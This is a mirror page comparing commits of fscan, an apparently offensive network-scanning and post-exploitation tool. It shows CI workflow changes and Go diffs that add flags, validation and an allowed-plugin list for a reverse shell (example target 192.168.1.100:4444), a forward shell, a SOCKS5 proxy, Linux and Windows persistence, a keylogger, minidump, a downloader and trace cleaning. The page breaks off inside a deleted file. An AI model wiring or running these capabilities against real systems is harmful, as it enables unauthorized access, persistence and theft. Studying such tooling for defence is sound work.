mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
Compare commits
31 Commits
05eaa0f70e
...
c0374a6250
Author | SHA1 | Date | |
---|---|---|---|
![]() |
c0374a6250 | ||
![]() |
25649467c1 | ||
![]() |
ebe7c631fa | ||
![]() |
4e237f6bc3 | ||
![]() |
42522df80c | ||
![]() |
c9d07ebd9b | ||
![]() |
e254d6e333 | ||
![]() |
804274ff67 | ||
![]() |
0eef393420 | ||
![]() |
50247ee1e4 | ||
![]() |
a86098d6b6 | ||
![]() |
1cfb21ed64 | ||
![]() |
4a33b89738 | ||
![]() |
b60a2af424 | ||
![]() |
f659a222cd | ||
![]() |
4729be481e | ||
![]() |
fead006830 | ||
![]() |
551d36b998 | ||
![]() |
fc6dd50377 | ||
![]() |
c72cd25e63 | ||
![]() |
fbe846068a | ||
![]() |
e543afacdb | ||
![]() |
653a89b737 | ||
![]() |
a1c82d188b | ||
![]() |
a90d9c5bc7 | ||
![]() |
a53712a50b | ||
![]() |
eeaa4c3b3a | ||
![]() |
4714d27d44 | ||
![]() |
c64bfe5b2e | ||
![]() |
7ac7435885 | ||
![]() |
fa0f3e92d1 |
44
.github/workflows/release.yml
vendored
44
.github/workflows/release.yml
vendored
@ -8,8 +8,8 @@ on:
|
||||
inputs:
|
||||
tag:
|
||||
description: '发布标签'
|
||||
required: true
|
||||
default: 'v1.0.0'
|
||||
required: false
|
||||
default: ''
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
type: boolean
|
||||
@ -20,15 +20,13 @@ on:
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
issues: write
|
||||
pull-requests: write
|
||||
contents: write # 需要写权限用于创建release
|
||||
|
||||
jobs:
|
||||
goreleaser:
|
||||
name: 构建和发布
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 60
|
||||
timeout-minutes: 45
|
||||
|
||||
# 设置作业级别的环境变量
|
||||
env:
|
||||
@ -38,7 +36,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: 📥 检出代码
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v4.1.1
|
||||
with:
|
||||
fetch-depth: 0
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
@ -48,25 +46,40 @@ jobs:
|
||||
run: |
|
||||
echo "owner=${GITHUB_REPOSITORY_OWNER}" >> $GITHUB_OUTPUT
|
||||
echo "repo=${GITHUB_REPOSITORY#*/}" >> $GITHUB_OUTPUT
|
||||
|
||||
# 获取标签版本
|
||||
echo "version=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
||||
echo "is_tag=true" >> $GITHUB_OUTPUT
|
||||
echo "branch_or_tag=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT
|
||||
|
||||
echo "full_sha=${GITHUB_SHA}" >> $GITHUB_OUTPUT
|
||||
echo "short_sha=${GITHUB_SHA:0:7}" >> $GITHUB_OUTPUT
|
||||
echo "build_date=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
echo "build_timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 🐹 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
uses: actions/setup-go@v5.0.0
|
||||
with:
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
|
||||
- name: 💾 缓存Go模块
|
||||
uses: actions/cache@v4.0.0
|
||||
with:
|
||||
path: |
|
||||
~/.cache/go-build
|
||||
~/go/pkg/mod
|
||||
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-go-
|
||||
|
||||
- name: 📦 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 🗜️ 安装 UPX 压缩工具
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
uses: crazy-max/ghaction-upx@v3.0.0
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
@ -74,7 +87,8 @@ jobs:
|
||||
run: |
|
||||
echo "Go 版本: $(go version)"
|
||||
echo "UPX 版本: $(upx --version)"
|
||||
echo "Git 标签: ${{ steps.project.outputs.version }}"
|
||||
echo "发布标签: ${{ steps.project.outputs.branch_or_tag }}"
|
||||
echo "构建模式: 发布模式"
|
||||
echo "提交: ${{ steps.project.outputs.short_sha }}"
|
||||
echo "仓库: ${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}"
|
||||
echo "构建时间: ${{ steps.project.outputs.build_date }}"
|
||||
@ -91,7 +105,7 @@ jobs:
|
||||
|
||||
- name: 🚀 构建和发布
|
||||
id: build_step
|
||||
uses: goreleaser/goreleaser-action@v5
|
||||
uses: goreleaser/goreleaser-action@v5.0.0
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
@ -116,13 +130,13 @@ jobs:
|
||||
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 📋 上传构建产物
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/upload-artifact@v4.3.1
|
||||
if: always()
|
||||
with:
|
||||
name: 构建产物-${{ steps.project.outputs.version }}
|
||||
name: 发布产物-${{ steps.project.outputs.version }}
|
||||
path: |
|
||||
dist/
|
||||
retention-days: 30
|
||||
retention-days: 90
|
||||
continue-on-error: true
|
||||
|
||||
- name: 📊 统计构建产物
|
||||
@ -184,6 +198,7 @@ jobs:
|
||||
echo "| 🚀 **触发方式** | ${{ github.event_name }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🔧 **Go版本** | $(go version | cut -d' ' -f3) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🗜️ **UPX版本** | $(upx --version | head -1 | cut -d' ' -f2) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 🔧 **构建模式** | 发布模式 |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| 📦 **发布类型** | $(if [[ "${{ inputs.draft }}" == "true" ]]; then echo "草稿"; elif [[ "${{ inputs.prerelease }}" == "true" ]]; then echo "预发布"; else echo "正式发布"; fi) |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
@ -280,6 +295,7 @@ jobs:
|
||||
echo "- 📋 [查看产物列表](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 📥 [下载产物](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 🔍 [查看提交](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/commit/${{ steps.project.outputs.full_sha }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "- 🌿 [查看分支](https://github.com/${{ steps.project.outputs.owner }}/${{ steps.project.outputs.repo }}/tree/${{ steps.project.outputs.branch_or_tag }})" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||
|
44
.github/workflows/test-build.yml
vendored
44
.github/workflows/test-build.yml
vendored
@ -6,11 +6,31 @@ on:
|
||||
- dev
|
||||
- develop
|
||||
- feature/*
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
- dev
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
branch:
|
||||
@ -19,13 +39,13 @@ on:
|
||||
default: 'dev'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
contents: read # 只需要读权限用于检出代码
|
||||
|
||||
jobs:
|
||||
test-build:
|
||||
name: 测试构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
timeout-minutes: 20
|
||||
|
||||
# 设置作业级别的环境变量
|
||||
env:
|
||||
@ -35,7 +55,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: 📥 检出代码
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v4.1.1
|
||||
with:
|
||||
fetch-depth: 0
|
||||
ref: ${{ github.event.inputs.branch || github.ref }}
|
||||
@ -52,18 +72,28 @@ jobs:
|
||||
echo "timestamp=$(date +%s)" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 🐹 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
uses: actions/setup-go@v5.0.0
|
||||
with:
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
|
||||
- name: 💾 缓存Go模块
|
||||
uses: actions/cache@v4.0.0
|
||||
with:
|
||||
path: |
|
||||
~/.cache/go-build
|
||||
~/go/pkg/mod
|
||||
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-go-
|
||||
|
||||
- name: 📦 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 🗜️ 安装 UPX 压缩工具
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
uses: crazy-max/ghaction-upx@v3.0.0
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
@ -87,7 +117,7 @@ jobs:
|
||||
echo "start_readable=$(date -u +"%Y-%m-%d %H:%M:%S UTC")" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 🚀 测试构建 (Snapshot 模式)
|
||||
uses: goreleaser/goreleaser-action@v5
|
||||
uses: goreleaser/goreleaser-action@v5.0.0
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
@ -108,7 +138,7 @@ jobs:
|
||||
echo "duration_readable=$(printf '%02d:%02d:%02d' $((duration/3600)) $((duration%3600/60)) $((duration%60)))" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: 📋 上传测试产物
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/upload-artifact@v4.3.1
|
||||
with:
|
||||
name: 测试构建-${{ steps.project.outputs.branch }}-${{ steps.project.outputs.short_sha }}
|
||||
path: |
|
||||
|
8
.gitignore
vendored
8
.gitignore
vendored
@ -62,3 +62,11 @@ __debug_bin*
|
||||
# Local development tools / 本地开发工具
|
||||
.air.toml
|
||||
air_tmp/
|
||||
|
||||
# Todo files / Todo文件
|
||||
Todo列表.md
|
||||
*todo*.md
|
||||
*TODO*.md
|
||||
|
||||
# Claude documentation / Claude文档
|
||||
.claude_docs/
|
||||
|
@ -63,6 +63,31 @@ var (
|
||||
|
||||
Shellcode string
|
||||
|
||||
// 反弹Shell相关变量
|
||||
ReverseShellTarget string
|
||||
ReverseShellActive bool // 反弹Shell是否处于活跃状态
|
||||
|
||||
// SOCKS5代理相关变量
|
||||
Socks5ProxyPort int // SOCKS5代理监听端口
|
||||
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
|
||||
|
||||
// 正向Shell相关变量
|
||||
ForwardShellPort int // 正向Shell监听端口
|
||||
ForwardShellActive bool // 正向Shell是否处于活跃状态
|
||||
|
||||
// Linux持久化相关变量
|
||||
PersistenceTargetFile string // 持久化目标文件路径
|
||||
|
||||
// Windows持久化相关变量
|
||||
WinPEFile string // Windows PE文件路径
|
||||
|
||||
// 键盘记录相关变量
|
||||
KeyloggerOutputFile string // 键盘记录输出文件
|
||||
|
||||
// 文件下载相关变量
|
||||
DownloadURL string // 下载文件的URL
|
||||
DownloadSavePath string // 下载文件保存路径
|
||||
|
||||
// Parse.go 使用的变量
|
||||
HostPort []string
|
||||
URLs []string
|
||||
@ -149,6 +174,7 @@ func Flag(Info *HostInfo) {
|
||||
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
||||
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
||||
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
|
||||
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
@ -217,6 +243,16 @@ func Flag(Info *HostInfo) {
|
||||
// 其他参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
|
||||
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||
flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||
|
||||
// 文件下载插件参数
|
||||
flag.StringVar(&DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
|
||||
flag.StringVar(&DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
|
||||
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||
|
||||
// 帮助参数
|
||||
@ -233,6 +269,9 @@ func Flag(Info *HostInfo) {
|
||||
// 更新进度条显示状态
|
||||
ShowProgress = !DisableProgress
|
||||
|
||||
// 同步配置到core包
|
||||
SyncToCore()
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if showHelp || shouldShowHelp(Info) {
|
||||
flag.Usage()
|
||||
@ -334,7 +373,12 @@ func preProcessLanguage() {
|
||||
// shouldShowHelp 检查是否应该显示帮助信息
|
||||
func shouldShowHelp(Info *HostInfo) bool {
|
||||
// 检查是否提供了扫描目标
|
||||
hasTarget := Info.Host != "" || TargetURL != "" || LocalMode
|
||||
hasTarget := Info.Host != "" || TargetURL != ""
|
||||
|
||||
// 本地模式需要指定插件才算有效目标
|
||||
if LocalMode && LocalPlugin != "" {
|
||||
hasTarget = true
|
||||
}
|
||||
|
||||
// 如果没有提供任何扫描目标,则显示帮助
|
||||
if !hasTarget {
|
||||
@ -350,4 +394,35 @@ func checkParameterConflicts() {
|
||||
if AliveOnly && ScanMode == "icmp" {
|
||||
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||
}
|
||||
|
||||
// 检查本地模式和本地插件参数
|
||||
if LocalMode {
|
||||
if LocalPlugin == "" {
|
||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 验证本地插件名称
|
||||
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件
|
||||
isValid := false
|
||||
for _, valid := range validPlugins {
|
||||
if LocalPlugin == valid {
|
||||
isValid = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !isValid {
|
||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// 如果指定了本地插件但未启用本地模式
|
||||
if !LocalMode && LocalPlugin != "" {
|
||||
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
@ -13,7 +13,7 @@ Constants.go - 核心常量定义
|
||||
// 预定义端口组常量
|
||||
var (
|
||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
|
||||
MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
|
@ -17,6 +17,7 @@ var (
|
||||
Timeout int64 // 超时时间
|
||||
DisablePing bool // 禁用ping
|
||||
LocalMode bool // 本地模式
|
||||
LocalPlugin string // 本地插件选择
|
||||
|
||||
// 基础认证配置
|
||||
Username string // 用户名
|
||||
|
@ -20,7 +20,7 @@ globals.go - 全局变量定义
|
||||
// 版本信息
|
||||
// =============================================================================
|
||||
|
||||
var version = "2.1.0"
|
||||
var version = "2.2.0"
|
||||
|
||||
// =============================================================================
|
||||
// 简化的全局状态管理(仅保留必要的同步机制)
|
||||
@ -40,6 +40,7 @@ var (
|
||||
Timeout int64 // 直接映射到base.Timeout
|
||||
DisablePing bool // 直接映射到base.DisablePing
|
||||
LocalMode bool // 直接映射到base.LocalMode
|
||||
LocalPlugin string // 本地插件选择
|
||||
AliveOnly bool // 仅存活探测模式
|
||||
)
|
||||
|
||||
@ -105,6 +106,7 @@ func SyncFromCore() {
|
||||
Timeout = base.Timeout
|
||||
DisablePing = base.DisablePing
|
||||
LocalMode = base.LocalMode
|
||||
LocalPlugin = base.LocalPlugin
|
||||
|
||||
Username = base.Username
|
||||
Password = base.Password
|
||||
@ -129,6 +131,7 @@ func SyncToCore() {
|
||||
base.Timeout = Timeout
|
||||
base.DisablePing = DisablePing
|
||||
base.LocalMode = LocalMode
|
||||
base.LocalPlugin = LocalPlugin
|
||||
|
||||
base.Username = Username
|
||||
base.Password = Password
|
||||
|
@ -138,10 +138,6 @@ var FlagMessages = map[string]map[string]string{
|
||||
LangZH: "HTTP代理",
|
||||
LangEN: "HTTP proxy",
|
||||
},
|
||||
"flag_socks5_proxy": {
|
||||
LangZH: "SOCKS5代理",
|
||||
LangEN: "SOCKS5 proxy",
|
||||
},
|
||||
"flag_poc_path": {
|
||||
LangZH: "POC脚本路径",
|
||||
LangEN: "POC script path",
|
||||
@ -234,6 +230,38 @@ var FlagMessages = map[string]map[string]string{
|
||||
LangZH: "Shellcode",
|
||||
LangEN: "Shellcode",
|
||||
},
|
||||
"flag_reverse_shell_target": {
|
||||
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
|
||||
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
|
||||
},
|
||||
"flag_socks5_proxy": {
|
||||
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
|
||||
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
|
||||
},
|
||||
"flag_forward_shell_port": {
|
||||
LangZH: "启动正向Shell服务器端口 (如: 4444)",
|
||||
LangEN: "Start forward shell server on port (e.g.: 4444)",
|
||||
},
|
||||
"flag_persistence_file": {
|
||||
LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)",
|
||||
LangEN: "Linux persistence target file path (supports .elf/.sh files)",
|
||||
},
|
||||
"flag_win_pe_file": {
|
||||
LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)",
|
||||
LangEN: "Windows persistence target PE file path (supports .exe/.dll files)",
|
||||
},
|
||||
"flag_keylogger_output": {
|
||||
LangZH: "键盘记录输出文件路径",
|
||||
LangEN: "Keylogger output file path",
|
||||
},
|
||||
"flag_download_url": {
|
||||
LangZH: "要下载的文件URL",
|
||||
LangEN: "URL of the file to download",
|
||||
},
|
||||
"flag_download_path": {
|
||||
LangZH: "下载文件保存路径",
|
||||
LangEN: "Save path for downloaded file",
|
||||
},
|
||||
"flag_language": {
|
||||
LangZH: "语言: zh, en",
|
||||
LangEN: "Language: zh, en",
|
||||
|
@ -45,6 +45,16 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra
|
||||
|
||||
// GetPlugins 获取插件列表(通用实现)
|
||||
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
|
||||
// 本地模式优先使用LocalPlugin参数
|
||||
if b.filterType == FilterLocal && common.LocalPlugin != "" {
|
||||
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
|
||||
return []string{common.LocalPlugin}, true
|
||||
} else {
|
||||
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
|
||||
return []string{}, true
|
||||
}
|
||||
}
|
||||
|
||||
// 如果指定了特定插件且不是"all"
|
||||
if common.ScanMode != "" && common.ScanMode != "all" {
|
||||
requestedPlugins := parsePluginList(common.ScanMode)
|
||||
|
@ -91,8 +91,13 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo
|
||||
}
|
||||
|
||||
// 处理扫描结果
|
||||
if result != nil && result.Success {
|
||||
if result == nil {
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
|
||||
} else if result.Success {
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
|
||||
// TODO: 输出扫描结果
|
||||
} else {
|
||||
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
|
||||
}
|
||||
|
||||
return nil
|
||||
|
@ -58,6 +58,31 @@ func RunScan(info common.HostInfo) {
|
||||
// 等待所有扫描完成
|
||||
wg.Wait()
|
||||
|
||||
// 检查是否有活跃的反弹Shell或SOCKS5代理
|
||||
if common.ReverseShellActive {
|
||||
common.LogBase("检测到活跃的反弹Shell,保持程序运行...")
|
||||
common.LogBase("按 Ctrl+C 退出程序")
|
||||
|
||||
// 进入无限等待,保持程序运行以维持反弹Shell连接
|
||||
select {} // 阻塞等待,直到收到系统信号
|
||||
}
|
||||
|
||||
if common.Socks5ProxyActive {
|
||||
common.LogBase("检测到活跃的SOCKS5代理,保持程序运行...")
|
||||
common.LogBase("按 Ctrl+C 退出程序")
|
||||
|
||||
// 进入无限等待,保持程序运行以维持SOCKS5代理
|
||||
select {} // 阻塞等待,直到收到系统信号
|
||||
}
|
||||
|
||||
if common.ForwardShellActive {
|
||||
common.LogBase("检测到活跃的正向Shell,保持程序运行...")
|
||||
common.LogBase("按 Ctrl+C 退出程序")
|
||||
|
||||
// 进入无限等待,保持程序运行以维持正向Shell
|
||||
select {} // 阻塞等待,直到收到系统信号
|
||||
}
|
||||
|
||||
// 完成扫描
|
||||
finishScan()
|
||||
}
|
||||
|
127
Plugins/Base.go
127
Plugins/Base.go
@ -1,127 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
// ReadBytes 从连接读取数据直到EOF或错误
|
||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
||||
size := 4096 // 缓冲区大小
|
||||
buf := make([]byte, size)
|
||||
var result []byte
|
||||
var lastErr error
|
||||
|
||||
// 循环读取数据
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
break
|
||||
}
|
||||
|
||||
result = append(result, buf[0:count]...)
|
||||
|
||||
// 如果读取的数据小于缓冲区,说明已经读完
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 如果读到了数据,则忽略错误
|
||||
if len(result) > 0 {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
return result, lastErr
|
||||
}
|
||||
|
||||
// 默认AES加密密钥
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
// AesEncrypt 使用AES-CBC模式加密字符串
|
||||
func AesEncrypt(orig string, key string) (string, error) {
|
||||
// 转为字节数组
|
||||
origData := []byte(orig)
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 获取块大小并填充数据
|
||||
blockSize := block.BlockSize()
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
|
||||
// 创建CBC加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 加密数据
|
||||
encrypted := make([]byte, len(origData))
|
||||
blockMode.CryptBlocks(encrypted, origData)
|
||||
|
||||
// base64编码
|
||||
return base64.StdEncoding.EncodeToString(encrypted), nil
|
||||
}
|
||||
|
||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
||||
func AesDecrypt(crypted string, key string) (string, error) {
|
||||
// base64解码
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
|
||||
// 创建解密块
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
||||
}
|
||||
|
||||
// 创建CBC解密模式
|
||||
blockSize := block.BlockSize()
|
||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
||||
|
||||
// 解密数据
|
||||
origData := make([]byte, len(cryptedBytes))
|
||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
||||
|
||||
// 去除填充
|
||||
origData, err = PKCS7UnPadding(origData)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
||||
}
|
||||
|
||||
return string(origData), nil
|
||||
}
|
||||
|
||||
// PKCS7Padding 对数据进行PKCS7填充
|
||||
func PKCS7Padding(data []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(data)%blockSize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(data, padtext...)
|
||||
}
|
||||
|
||||
// PKCS7UnPadding 去除PKCS7填充
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
}
|
1050
Plugins/DCInfo.go
1050
Plugins/DCInfo.go
File diff suppressed because it is too large
Load Diff
@ -1,10 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import "github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
|
||||
func DCInfoScan(info *common.HostInfo) (err error) {
|
||||
return nil
|
||||
}
|
@ -1,218 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
// 文件扫描黑名单,跳过这些类型和目录
|
||||
blacklist = []string{
|
||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
||||
